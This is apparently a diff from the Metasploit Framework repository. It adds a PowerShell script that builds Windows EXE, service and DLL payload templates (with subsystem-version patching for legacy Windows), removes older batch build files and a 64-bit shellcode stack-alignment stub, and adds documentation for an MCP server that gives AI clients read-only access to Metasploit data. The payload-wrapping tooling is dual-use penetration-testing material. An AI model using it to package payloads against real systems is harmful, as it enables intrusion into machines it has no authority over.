<edge source="block.0x1066:instruction.0x1070" target="block.0x1066:instruction.0x1073"/>
|
||||
<edge source="block.0x1066:instruction.0x1073" target="block.0x1066:instruction.0x107e"/>
|
||||
<edge source="block.0x1066:instruction.0x1073" target="block.0x1066:instruction.0x1075"/>
|
||||
<edge source="block.0x1066:instruction.0x1073" target="block.0x1066:instruction.0x1080"/>
|
||||
<edge source="block.0x1066:instruction.0x1075" target="block.0x1066:instruction.0x107e"/>
|
||||
<edge source="block.0x1066:instruction.0x1075" target="block.0x1066:instruction.0x1080"/>
|
||||
<edge source="block.0x1066:instruction.0x1075" target="block.0x1066:instruction.0x1078"/>
|
||||
<edge source="block.0x1066:instruction.0x1078" target="block.0x1066:instruction.0x1080"/>
|
||||
<edge source="block.0x1066:instruction.0x1078" target="block.0x1066:instruction.0x107a"/>
|
||||
<edge source="block.0x1066:instruction.0x107a" target="block.0x1066:instruction.0x107e"/>
|
||||
<edge source="block.0x1066:instruction.0x107a" target="block.0x1066:instruction.0x1080"/>
|
||||
<edge source="block.0x1066:instruction.0x107e" target="block.0x1066:instruction.0x107f"/>
|
||||
<edge source="block.0x1066:instruction.0x107f" target="block.0x1066:instruction.0x1080"/>
|
||||
<edge source="block.0x1066:instruction.0x1080" target="block.0x1066:instruction.0x1081"/>
|
||||
<edge source="block.0x1066:instruction.0x1080" target="block.0x1066:instruction.0x1084"/>
|
||||
<edge source="block.0x1066:instruction.0x1081" target="block.0x1066:instruction.0x1082"/>
|
||||
<edge source="block.0x1066:instruction.0x1081" target="block.0x1066:instruction.0x1083"/>
|
||||
<edge source="block.0x1066:instruction.0x1082" target="block.0x1066:instruction.0x1083"/>
|
||||
<edge source="block.0x1066:instruction.0x1083" target="block.0x1066:instruction.0x1084"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1086">
|
||||
@@ -566,44 +545,58 @@
|
||||
<node id="block.0x1086:instruction.0x1086">
|
||||
<data key="address">0x1086</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">58</data>
|
||||
<data key="instruction.source">pop eax</data>
|
||||
</node>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1087">
|
||||
<data key="address">0x1087</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1087</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1087:instruction.0x1087">
|
||||
<data key="address">0x1087</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">5f</data>
|
||||
<data key="instruction.source">pop edi</data>
|
||||
</node>
|
||||
<node id="block.0x1086:instruction.0x1087">
|
||||
<data key="address">0x1087</data>
|
||||
<node id="block.0x1087:instruction.0x1088">
|
||||
<data key="address">0x1088</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">5a</data>
|
||||
<data key="instruction.source">pop edx</data>
|
||||
</node>
|
||||
<node id="block.0x1086:instruction.0x1088">
|
||||
<data key="address">0x1088</data>
|
||||
<node id="block.0x1087:instruction.0x1089">
|
||||
<data key="address">0x1089</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">8b12</data>
|
||||
<data key="instruction.source">mov edx, dword ptr [edx]</data>
|
||||
</node>
|
||||
<node id="block.0x1086:instruction.0x108a">
|
||||
<data key="address">0x108a</data>
|
||||
<node id="block.0x1087:instruction.0x108b">
|
||||
<data key="address">0x108b</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">eb83</data>
|
||||
<data key="instruction.hex">eb82</data>
|
||||
<data key="instruction.source">jmp 0x100f</data>
|
||||
</node>
|
||||
<edge source="block.0x1086:instruction.0x1086" target="block.0x1086:instruction.0x1087"/>
|
||||
<edge source="block.0x1086:instruction.0x1087" target="block.0x1086:instruction.0x1088"/>
|
||||
<edge source="block.0x1086:instruction.0x1088" target="block.0x1086:instruction.0x108a"/>
|
||||
<edge source="block.0x1087:instruction.0x1087" target="block.0x1087:instruction.0x1088"/>
|
||||
<edge source="block.0x1087:instruction.0x1088" target="block.0x1087:instruction.0x1089"/>
|
||||
<edge source="block.0x1087:instruction.0x1089" target="block.0x1087:instruction.0x108b"/>
|
||||
</graph>
|
||||
</node>
|
||||
<edge source="block.0x1000" target="block.0x100f"/>
|
||||
<edge source="block.0x100f" target="block.0x1018"/>
|
||||
<edge source="block.0x1018" target="block.0x101f"/>
|
||||
<edge source="block.0x101f" target="block.0x1021"/>
|
||||
<edge source="block.0x1021" target="block.0x1029"/>
|
||||
<edge source="block.0x1029" target="block.0x103a"/>
|
||||
<edge source="block.0x103a" target="block.0x1045"/>
|
||||
<edge source="block.0x1045" target="block.0x1049"/>
|
||||
<edge source="block.0x1049" target="block.0x1051"/>
|
||||
<edge source="block.0x1051" target="block.0x105d"/>
|
||||
<edge source="block.0x105d" target="block.0x1065"/>
|
||||
<edge source="block.0x1065" target="block.0x1085"/>
|
||||
<edge source="block.0x1085" target="block.0x1086"/>
|
||||
<edge source="block.0x100f" target="block.0x101b"/>
|
||||
<edge source="block.0x101b" target="block.0x1022"/>
|
||||
<edge source="block.0x1022" target="block.0x1024"/>
|
||||
<edge source="block.0x1024" target="block.0x102c"/>
|
||||
<edge source="block.0x102c" target="block.0x103d"/>
|
||||
<edge source="block.0x103d" target="block.0x1048"/>
|
||||
<edge source="block.0x1048" target="block.0x104c"/>
|
||||
<edge source="block.0x104c" target="block.0x1055"/>
|
||||
<edge source="block.0x1055" target="block.0x1061"/>
|
||||
<edge source="block.0x1061" target="block.0x1066"/>
|
||||
<edge source="block.0x1066" target="block.0x1086"/>
|
||||
<edge source="block.0x1086" target="block.0x1087"/>
|
||||
</graph>
|
||||
</graphml>
|
||||
|
||||
@@ -2,9 +2,18 @@
|
||||
This directory contains the source code for the PE executable templates.
|
||||
|
||||
## Building
|
||||
Use the provided `build_all.bat` file, and run it from within the Visual Studio
|
||||
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
|
||||
variable be defined (which it should be by default). The build script will
|
||||
create both the x86 and x64 templates before moving them into the correct
|
||||
folder. The current working directory when the build is run must be the source
|
||||
code directory (`pe`).
|
||||
Use the provided `build_all.ps1` script from within the Visual Studio developer
|
||||
console. The script requires that the `%VCINSTALLDIR%` environment variable be
|
||||
defined (which it should be by default). By default it builds all templates for
|
||||
both x86 and x64, then moves the outputs into the correct folder.
|
||||
|
||||
```powershell
|
||||
# build everything
|
||||
.\build_all.ps1
|
||||
|
||||
# build only x86
|
||||
.\build_all.ps1 -Architectures x86
|
||||
|
||||
# build only EXE templates
|
||||
.\build_all.ps1 -Templates exe,exe_service
|
||||
```
|
||||
|
||||
@@ -1,17 +0,0 @@
|
||||
@echo off
|
||||
|
||||
echo Compiling DLLs
|
||||
|
||||
for /D %%d in (dll*) do (
|
||||
pushd "%%d"
|
||||
call build.bat
|
||||
popd
|
||||
)
|
||||
|
||||
echo Compiling EXEs
|
||||
|
||||
for /D %%e in (exe*) do (
|
||||
pushd "%%e"
|
||||
call build.bat
|
||||
popd
|
||||
)
|
||||
@@ -0,0 +1,230 @@
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Build all PE executable and DLL templates for Metasploit.
|
||||
|
||||
.DESCRIPTION
|
||||
Compiles x86 and x64 variants of the EXE, service EXE, DLL, GDI+ DLL, and
|
||||
mixed-mode DLL templates using the MSVC toolchain. After linking, the EXE
|
||||
templates are patched to lower the minimum subsystem version so they can run
|
||||
on legacy Windows (NT 4.0+ for x86, Server 2003+ for x64). Modern MSVC
|
||||
linkers enforce a floor of 5.01/5.02 which is too high for those targets.
|
||||
|
||||
.PARAMETER Architectures
|
||||
Which architectures to build. Defaults to both x86 and x64.
|
||||
|
||||
.PARAMETER Templates
|
||||
Which templates to build. Defaults to all of them.
|
||||
|
||||
.EXAMPLE
|
||||
.\build_all.ps1
|
||||
.\build_all.ps1 -Architectures x86
|
||||
.\build_all.ps1 -Templates exe,exe_service
|
||||
#>
|
||||
|
||||
param(
|
||||
[ValidateSet('x86', 'x64')]
|
||||
[string[]]$Architectures = @('x86', 'x64'),
|
||||
|
||||
[ValidateSet('exe', 'exe_service', 'dll', 'dll_gdiplus', 'dll_mixed_mode')]
|
||||
[string[]]$Templates = @('exe', 'exe_service', 'dll', 'dll_gdiplus', 'dll_mixed_mode')
|
||||
)
|
||||
|
||||
$ErrorActionPreference = 'Stop'
|
||||
$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
|
||||
$OutputDir = Resolve-Path (Join-Path $ScriptDir '..\..')
|
||||
|
||||
# Each entry defines only what varies per template. The build function handles
|
||||
# the common logic: calling cl, optional 256KiB variant, PE version patching.
|
||||
#
|
||||
# Dir - subdirectory containing the source
|
||||
# OutputFmt - output filename format string, {0} is replaced with the architecture
|
||||
# Source - source file passed to cl
|
||||
# ClFlags - flags passed to cl (before /link)
|
||||
# LinkLibs - libraries passed to the linker (after /link)
|
||||
# LinkRes - optional .res file to link
|
||||
# EntryPoint - /entry value
|
||||
# NoDefaultLib - if set, pass /NODEFAULTLIB to the linker
|
||||
# RcArgs - optional resource compiler arguments (run before cl)
|
||||
# PatchVersion - if set, patch the PE subsystem version after linking
|
||||
#
|
||||
# DLL templates automatically get a 256KiB payload variant built alongside the
|
||||
# standard size. This is determined by the output extension, not a per-template flag.
|
||||
$BuildDefs = [ordered]@{
|
||||
exe = @{
|
||||
Dir = 'exe'
|
||||
OutputFmt = 'template_{0}_windows.exe'
|
||||
Source = 'template.c'
|
||||
ClFlags = @('/GS-')
|
||||
LinkLibs = @('kernel32.lib')
|
||||
EntryPoint = 'main'
|
||||
NoDefaultLib = $true
|
||||
PatchVersion = $true
|
||||
}
|
||||
exe_service = @{
|
||||
Dir = 'exe_service'
|
||||
OutputFmt = 'template_{0}_windows_svc.exe'
|
||||
Source = 'template.c'
|
||||
ClFlags = @('/GS-', '/DBUILDMODE=2')
|
||||
LinkLibs = @('advapi32.lib', 'kernel32.lib')
|
||||
EntryPoint = 'main'
|
||||
NoDefaultLib = $true
|
||||
PatchVersion = $true
|
||||
}
|
||||
dll = @{
|
||||
Dir = 'dll'
|
||||
OutputFmt = 'template_{0}_windows.dll'
|
||||
Source = 'template.c'
|
||||
ClFlags = @('/LD', '/GS-', '/DBUILDMODE=2')
|
||||
LinkLibs = @('kernel32.lib')
|
||||
LinkRes = 'template.res'
|
||||
EntryPoint = 'DllMain'
|
||||
RcArgs = @('/v', 'template.rc')
|
||||
}
|
||||
dll_gdiplus = @{
|
||||
Dir = 'dll_gdiplus'
|
||||
OutputFmt = 'template_{0}_windows_dccw_gdiplus.dll'
|
||||
Source = '../dll/template.c'
|
||||
ClFlags = @('/LD', '/GS-', '/DBUILDMODE=2', '/I', '.', '/FI', 'exports.h')
|
||||
LinkLibs = @('kernel32.lib')
|
||||
LinkRes = 'template.res'
|
||||
EntryPoint = 'DllMain'
|
||||
RcArgs = @('/v', '/fo', 'template.res', '../dll/template.rc')
|
||||
}
|
||||
dll_mixed_mode = @{
|
||||
Dir = 'dll_mixed_mode'
|
||||
OutputFmt = 'template_{0}_windows_mixed_mode.dll'
|
||||
Source = 'template.cpp'
|
||||
ClFlags = @('/CLR', '/LD', '/GS-', '/I', '..\dll', '/DBUILDMODE=2')
|
||||
LinkLibs = @('mscoree.lib', 'kernel32.lib')
|
||||
EntryPoint = 'DllMain'
|
||||
}
|
||||
}
|
||||
|
||||
if (-not $env:VCINSTALLDIR) {
|
||||
Write-Error 'VCINSTALLDIR is not set. Run this script from a Visual Studio Developer Command Prompt.'
|
||||
exit 1
|
||||
}
|
||||
|
||||
function Invoke-VCVars {
|
||||
param([string]$Arch)
|
||||
# vcvarsall.bat no-ops if VSCMD_VER is already set, so clear its state
|
||||
# flags before re-running. Otherwise the second arch silently inherits
|
||||
# the first arch's toolchain and produces wrong-architecture binaries.
|
||||
foreach ($v in 'VSCMD_VER', 'VSCMD_ARG_TGT_ARCH', 'VSCMD_ARG_HOST_ARCH') {
|
||||
[System.Environment]::SetEnvironmentVariable($v, $null, 'Process')
|
||||
}
|
||||
$vcvars = Join-Path $env:VCINSTALLDIR 'Auxiliary\Build\vcvarsall.bat'
|
||||
cmd /c "`"$vcvars`" $Arch >nul 2>&1 && set" 2>&1 | ForEach-Object {
|
||||
if ($_ -match '^([^=]+)=(.*)$') {
|
||||
[System.Environment]::SetEnvironmentVariable($matches[1], $matches[2], 'Process')
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function Invoke-Cl {
|
||||
param(
|
||||
[string[]]$ClFlags,
|
||||
[string]$Source,
|
||||
[string]$OutputName,
|
||||
[string[]]$LinkLibs,
|
||||
[string]$LinkRes,
|
||||
[string]$EntryPoint,
|
||||
[switch]$NoDefaultLib
|
||||
)
|
||||
$clArgs = $ClFlags + @($Source, "/Fe:$OutputName", '/link') + $LinkLibs
|
||||
if ($LinkRes) { $clArgs += $LinkRes }
|
||||
$clArgs += @("/entry:$EntryPoint", '/subsystem:WINDOWS')
|
||||
if ($NoDefaultLib) { $clArgs += '/NODEFAULTLIB' }
|
||||
& cl @clArgs
|
||||
if ($LASTEXITCODE -ne 0) { Write-Error "cl failed for $OutputName" }
|
||||
}
|
||||
|
||||
function Set-PEVersion {
|
||||
param(
|
||||
[string]$Path,
|
||||
[int]$Major,
|
||||
[int]$Minor
|
||||
)
|
||||
$bytes = [System.IO.File]::ReadAllBytes($Path)
|
||||
$peOffset = [BitConverter]::ToInt32($bytes, 0x3C)
|
||||
if ([System.Text.Encoding]::ASCII.GetString($bytes, $peOffset, 4) -ne "PE`0`0") {
|
||||
Write-Error "$Path is not a valid PE file"
|
||||
return
|
||||
}
|
||||
# PE optional header starts at peOffset + 24. Field offsets from its start:
|
||||
# +40: MajorOperatingSystemVersion (uint16)
|
||||
# +42: MinorOperatingSystemVersion (uint16)
|
||||
# +48: MajorSubsystemVersion (uint16)
|
||||
# +50: MinorSubsystemVersion (uint16)
|
||||
# These offsets are identical for PE32 and PE32+.
|
||||
$opt = $peOffset + 24
|
||||
$verBytes = [BitConverter]::GetBytes([uint16]$Major)
|
||||
$minBytes = [BitConverter]::GetBytes([uint16]$Minor)
|
||||
$bytes[$opt + 40] = $verBytes[0]; $bytes[$opt + 41] = $verBytes[1]
|
||||
$bytes[$opt + 42] = $minBytes[0]; $bytes[$opt + 43] = $minBytes[1]
|
||||
$bytes[$opt + 48] = $verBytes[0]; $bytes[$opt + 49] = $verBytes[1]
|
||||
$bytes[$opt + 50] = $minBytes[0]; $bytes[$opt + 51] = $minBytes[1]
|
||||
[System.IO.File]::WriteAllBytes($Path, $bytes)
|
||||
Write-Host " Patched OS and subsystem version to ${Major}.${Minor}"
|
||||
}
|
||||
|
||||
function Build-Template {
|
||||
param([string]$Arch, [string]$Name)
|
||||
$def = $BuildDefs[$Name]
|
||||
|
||||
Push-Location (Join-Path $ScriptDir $def.Dir)
|
||||
try {
|
||||
if ($def.RcArgs) {
|
||||
& rc @($def.RcArgs)
|
||||
if ($LASTEXITCODE -ne 0) { throw "rc failed for $Name ($Arch)" }
|
||||
}
|
||||
|
||||
$outName = $def.OutputFmt -f $Arch
|
||||
Invoke-Cl -ClFlags $def.ClFlags -Source $def.Source -OutputName $outName `
|
||||
-LinkLibs $def.LinkLibs -LinkRes $def.LinkRes `
|
||||
-EntryPoint $def.EntryPoint -NoDefaultLib:([bool]$def.NoDefaultLib)
|
||||
|
||||
if ($Name -like 'dll*') {
|
||||
$outName256 = $outName -replace '(\.\w+)$', '.256kib$1'
|
||||
Invoke-Cl -ClFlags ($def.ClFlags + '/DSCSIZE=262144') -Source $def.Source -OutputName $outName256 `
|
||||
-LinkLibs $def.LinkLibs -LinkRes $def.LinkRes `
|
||||
-EntryPoint $def.EntryPoint -NoDefaultLib:([bool]$def.NoDefaultLib)
|
||||
}
|
||||
} finally { Pop-Location }
|
||||
|
||||
if ($def.PatchVersion) {
|
||||
$outPath = Join-Path $ScriptDir "$($def.Dir)\$outName"
|
||||
if ($Arch -eq 'x86') {
|
||||
Set-PEVersion -Path $outPath -Major 4 -Minor 0
|
||||
} else {
|
||||
Set-PEVersion -Path $outPath -Major 5 -Minor 2
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Build each requested template for each architecture
|
||||
foreach ($arch in $Architectures) {
|
||||
Write-Host "`n=== Configuring for $arch ===" -ForegroundColor Cyan
|
||||
Invoke-VCVars $arch
|
||||
|
||||
foreach ($tmpl in $Templates) {
|
||||
Write-Host "`nBuilding: $tmpl ($arch)" -ForegroundColor Green
|
||||
Build-Template -Arch $arch -Name $tmpl
|
||||
}
|
||||
}
|
||||
|
||||
# Clean intermediate files and move outputs
|
||||
Write-Host "`n=== Cleaning up ===" -ForegroundColor Cyan
|
||||
Get-ChildItem $ScriptDir -Recurse -File |
|
||||
Where-Object { $_.Extension -in '.obj', '.res', '.exp', '.lib' } |
|
||||
Remove-Item -Force
|
||||
|
||||
Write-Host "`n=== Moving outputs to $OutputDir ===" -ForegroundColor Cyan
|
||||
Get-ChildItem $ScriptDir -Recurse -File |
|
||||
Where-Object { $_.Extension -in '.exe', '.dll' } |
|
||||
ForEach-Object {
|
||||
Move-Item $_.FullName (Join-Path $OutputDir $_.Name) -Force
|
||||
Write-Host " $($_.Name)"
|
||||
}
|
||||
|
||||
Write-Host "`nDone." -ForegroundColor Green
|
||||
@@ -1,15 +0,0 @@
|
||||
@echo off
|
||||
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
rc /v template.rc
|
||||
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.obj *.res
|
||||
move *.dll ..\..\..
|
||||
@@ -1,15 +0,0 @@
|
||||
@echo off
|
||||
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
rc /v /fo template.res ../dll/template.rc
|
||||
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.exp *.lib *.res *.obj
|
||||
move *.dll ..\..\..
|
||||
@@ -1,15 +0,0 @@
|
||||
@echo off
|
||||
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
rem mscoree.lib requires .NET SDK to be installed, add it as a Visual Studio component
|
||||
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.obj
|
||||
move *.dll ..\..\..
|
||||
@@ -1,13 +0,0 @@
|
||||
@echo off
|
||||
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /GS- template.c /Fe:template_%1_windows.exe /link kernel32.lib /entry:main /subsystem:WINDOWS /NODEFAULTLIB
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.obj *.res
|
||||
move *.exe ..\..\..
|
||||
@@ -1,13 +0,0 @@
|
||||
@echo off
|
||||
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows_svc.exe /link advapi32.lib kernel32.lib /entry:main /subsystem:WINDOWS /NODEFAULTLIB
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.obj *.res
|
||||
move *.exe ..\..\..
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,48 +0,0 @@
|
||||
/*
|
||||
* This code is provided under the 3-clause BSD license below.
|
||||
* ***********************************************************
|
||||
*
|
||||
* Copyright (c) 2013, Matthew Graeber
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
* The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
; Author: Matthew Graeber (@mattifestation)
|
||||
; License: BSD 3-Clause
|
||||
; Syntax: MASM
|
||||
; Build Syntax: ml64 /c /Cx AdjustStack.asm
|
||||
; Output: AdjustStack.obj
|
||||
; Notes: I really wanted to avoid having this external dependency but I couldnt
|
||||
; come up with any other way to guarantee 16-byte stack alignment in 64-bit
|
||||
; shellcode written in C.
|
||||
|
||||
extern ExecutePayload
|
||||
global AlignRSP ; Marking AlignRSP as PUBLIC allows for the function
|
||||
; to be called as an extern in our C code.
|
||||
|
||||
segment .text
|
||||
|
||||
; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
|
||||
; to calling the entry point of the payload. This is necessary because 64-bit functions
|
||||
; in Windows assume that they were called with 16-byte stack alignment. When amd64
|
||||
; shellcode is executed, you cant be assured that you stack is 16-byte aligned. For example,
|
||||
; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
|
||||
; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
|
||||
; alignment.
|
||||
|
||||
AlignRSP:
|
||||
push rsi ; Preserve RSI since were stomping on it
|
||||
mov rsi, rsp ; Save the value of RSP so it can be restored
|
||||
and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
|
||||
sub rsp, 020h ; Allocate homing space for ExecutePayload
|
||||
call ExecutePayload ; Call the entry point of the payload
|
||||
mov rsp, rsi ; Restore the original value of RSP
|
||||
pop rsi ; Restore RSI
|
||||
ret ; Return to caller
|
||||
@@ -1,9 +0,0 @@
|
||||
ENTRY(_ExecutePayload)
|
||||
SECTIONS
|
||||
{
|
||||
.text :
|
||||
{
|
||||
*(.text.ExecutePayload)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
ENTRY(AlignRSP)
|
||||
SECTIONS
|
||||
{
|
||||
.text :
|
||||
{
|
||||
*(.text.AlignRSP)
|
||||
*(.text.ExecutePayload)
|
||||
*(.text.GetProcAddressWithHash)
|
||||
}
|
||||
|
||||
}
|
||||
+2217
-1948
File diff suppressed because it is too large
Load Diff
+3
-1
@@ -10,7 +10,7 @@
|
||||
#
|
||||
# It's strongly recommended that you check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema[7.2].define(version: 2026_01_30_124052) do
|
||||
ActiveRecord::Schema[7.2].define(version: 2026_04_11_000000) do
|
||||
# These are extensions that must be enabled in order to support this database
|
||||
enable_extension "plpgsql"
|
||||
|
||||
@@ -665,6 +665,8 @@ ActiveRecord::Schema[7.2].define(version: 2026_01_30_124052) do
|
||||
t.integer "session_id"
|
||||
t.integer "loot_id"
|
||||
t.text "fail_detail"
|
||||
t.string "check_code"
|
||||
t.text "check_detail"
|
||||
end
|
||||
|
||||
create_table "vuln_details", id: :serial, force: :cascade do |t|
|
||||
|
||||
@@ -0,0 +1,366 @@
|
||||
The Metasploit MCP Server (`msfmcpd`) provides AI applications with secure, structured access to Metasploit Framework data through the [Model Context Protocol](https://modelcontextprotocol.io/) (MCP). It acts as a middleware layer between AI clients (such as Claude, Cursor, or custom agents) and Metasploit, exposing 8 standardized tools for querying reconnaissance data and searching modules.
|
||||
|
||||
This initial implementation is **read-only**. Only tools that query data (modules, hosts, services, vulnerabilities, etc.) are available. Tools for module execution, session interaction, and database modifications will be added in a future iteration.
|
||||
|
||||
## Architecture
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
ai_app["AI Application<br>(Claude, Cursor, etc.)"]
|
||||
|
||||
subgraph msfmcp_server["MsfMcp Server"]
|
||||
mcp_layer["MCP Layer (8 Tools)<br>Input Validation / Rate Limiting / Response Transformation"]
|
||||
rpc_manager["RPC Manager<br>Auto-detect / Auto-start / Lifecycle Management"]
|
||||
api_client["Metasploit API Client<br>MessagePack RPC (port 55553) / JSON-RPC (port 8081)<br>Session Management"]
|
||||
|
||||
mcp_layer --> rpc_manager
|
||||
rpc_manager --> api_client
|
||||
end
|
||||
|
||||
msf["Metasploit Framework<br>(msfrpcd)"]
|
||||
|
||||
ai_app -- "MCP Protocol (stdio or HTTP)<br>JSON-RPC 2.0" --> mcp_layer
|
||||
api_client -- "HTTP/HTTPS" --> msf
|
||||
```
|
||||
|
||||
## Quick Start
|
||||
|
||||
The simplest way to start the MCP server is with no arguments:
|
||||
|
||||
```
|
||||
./msfmcpd
|
||||
```
|
||||
|
||||
The server automatically detects whether a Metasploit RPC server is already running on the configured port. If not, it starts one automatically with randomly generated credentials.
|
||||
|
||||
To use specific credentials:
|
||||
|
||||
```
|
||||
./msfmcpd --user your_username --password your_password
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
### Configuration File
|
||||
|
||||
Copy the example configuration and edit it:
|
||||
|
||||
```
|
||||
cp config/mcp_config.yaml.example config/mcp_config.yaml
|
||||
```
|
||||
|
||||
A MessagePack RPC configuration looks like this:
|
||||
|
||||
```yaml
|
||||
msf_api:
|
||||
type: messagepack
|
||||
host: localhost
|
||||
port: 55553
|
||||
ssl: true
|
||||
endpoint: /api/
|
||||
user: msfuser
|
||||
password: CHANGEME
|
||||
auto_start_rpc: true
|
||||
|
||||
mcp:
|
||||
transport: stdio
|
||||
|
||||
rate_limit:
|
||||
enabled: true
|
||||
requests_per_minute: 60
|
||||
burst_size: 10
|
||||
|
||||
logging:
|
||||
enabled: false
|
||||
level: INFO
|
||||
log_file: msfmcp.log
|
||||
```
|
||||
|
||||
For JSON-RPC with bearer token authentication, use the JSON-RPC example instead:
|
||||
|
||||
```
|
||||
cp config/mcp_config_jsonrpc.yaml.example config/mcp_config.yaml
|
||||
```
|
||||
|
||||
### Command-Line Options
|
||||
|
||||
```
|
||||
./msfmcpd --help
|
||||
|
||||
Options:
|
||||
--config PATH Path to configuration file
|
||||
--enable-logging Enable file logging with sanitization
|
||||
--log-file PATH Log file path (overrides config file)
|
||||
--user USER MSF API username (for MessagePack auth)
|
||||
--password PASS MSF API password (for MessagePack auth)
|
||||
--no-auto-start-rpc Disable automatic RPC server startup
|
||||
--mcp-transport TRANSPORT MCP server transport type ('stdio' or 'http')
|
||||
-h, --help Show this help message
|
||||
-v, --version Show version information
|
||||
```
|
||||
|
||||
### Environment Variable Overrides
|
||||
|
||||
All configuration settings can be overridden by environment variables:
|
||||
|
||||
| Variable | Description |
|
||||
|---|---|
|
||||
| `MSF_API_TYPE` | Connection type (`messagepack` or `json-rpc`) |
|
||||
